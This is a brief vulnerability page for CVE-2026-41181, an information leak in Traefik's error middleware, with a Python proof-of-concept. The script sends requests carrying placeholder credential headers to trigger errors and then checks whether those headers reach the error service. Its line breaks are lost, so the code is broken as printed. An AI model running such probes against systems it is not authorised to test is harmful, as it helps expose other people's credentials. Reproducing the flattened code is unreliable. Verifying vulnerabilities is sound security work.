CVE-2026-41181: Traefik错误中间件信息泄露漏洞

#!/usr/bin/env python3 # Proof of Concept for CVE-2026-41181 # This script simulates checking if headers are leaked to the error service. import requests # Target configuration traefik_url = "http://target-traefik.com" error_service_log_url = "http://internal-error-service.com/logs" # Hypothetical log endpoint # Headers containing sensitive credentials headers = { "Authorization": "Bearer secret-token-123", "Cookie": "sessionid=supersecret", "User-Agent": "PoC-Scanner/1.0" } try: # 1. Send a request to Traefik that triggers an error (e.g., 404 or 500) # This request includes sensitive headers. print(f"[*] Sending request to {traefik_url}/non-existent-page to trigger error...") response = requests.get(f"{traefik_url}/non-existent-page", headers=headers) # 2. Check if the error was triggered if response.status_code >= 400: print("[+] Error triggered successfully.") # 3. In a real scenario, the attacker would inspect the error service logs or network traffic. # Here we simulate checking if the sensitive headers appeared in the error service context. print("[!] Check the Error Page Service logs/network traffic for the following headers:") print(f" - Authorization: {headers['Authorization']}") print(f" - Cookie: {headers['Cookie']}") print("[*] If these headers are present in the error service context, the vulnerability is confirmed.") else: print("[-] Failed to trigger error.") except Exception as e: print(f"Error: {e}")